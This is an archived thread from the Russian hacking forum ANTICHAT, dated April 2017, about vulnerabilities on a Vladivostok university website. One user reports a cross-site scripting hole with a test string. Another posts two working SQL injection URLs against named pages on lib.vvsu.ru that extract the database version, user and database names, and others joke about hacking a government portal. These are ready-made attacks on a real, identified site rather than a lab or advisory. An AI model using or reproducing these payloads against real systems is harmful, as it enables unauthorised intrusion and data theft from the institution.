ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
01.04.2017, 10:33
|
|
Guest
Сообщений: n/a
Провел на форуме:
1762
Репутация:
0
|
|
|
|
|
|
01.04.2017, 13:25
|
|
Guest
Сообщений: n/a
Провел на форуме:
187765
Репутация:
154
|
|
Я бы помог. Но мало того, что это .ru, это еще и гос сайт. с ' очевидно что скуля. А с хсской куча векторов но все они клиентские. От угона куков до хека тачки
|
|
|
|
05.04.2017, 00:39
|
|
Guest
Сообщений: n/a
Провел на форуме:
28741
Репутация:
12
|
|
[QUOTE="qwebdev"]
qwebdev said:
↑
Нашел на сайте
http://abc.vvsu.ru/
xss-уязвимость,
при вводе
">alert('xss')"alert('xss')" |
|
|
|
05.04.2017, 08:48
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944
Репутация:
1550
|
|
Код:
Code:
http://lib.vvsu.ru/russian/index.php?id=61&id_exhibition=156+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6+--+
но это уже совсем другая история
Код:
Code:
http://lib.vvsu.ru//admin/news.asp?idyear=999999.9+union+all+select+null,null,null,(select+char(126)%2bchar(39)%2bname%2bchar(39)%2bchar(126)+from+master..sysdatabases+where+dbid=1),null,null,null,null--
а вот это твоя история |
|
|
05.04.2017, 16:20
|
|
Guest
Сообщений: n/a
Провел на форуме:
187765
Репутация:
154
|
|
Сообщение от Gorev
Gorev said:
↑
Код:
Code:
http://lib.vvsu.ru/russian/index.php?id=61&id_exhibition=156+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6+--+
но это уже совсем другая история
Код:
Code:
http://lib.vvsu.ru//admin/news.asp?idyear=999999.9+union+all+select+null,null,null,(select+char(126)%2bchar(39)%2bname%2bchar(39)%2bchar(126)+from+master..sysdatabases+where+dbid=1),null,null,null,null--
а вот это твоя история Да ВЫ бессмерты, Сударь. Хекать так спокойно гос портал, да ещё и рушный.
|
|
|
|
05.04.2017, 16:35
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944
Репутация:
1550
|
|
Сообщение от SooLFaa
SooLFaa said:
↑
Да ВЫ бессмерты, Сударь. Хекать так спокойно гос портал, да ещё и рушный. Отнюдь, милорд, я лишь указал направление, вектор так сказать...
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
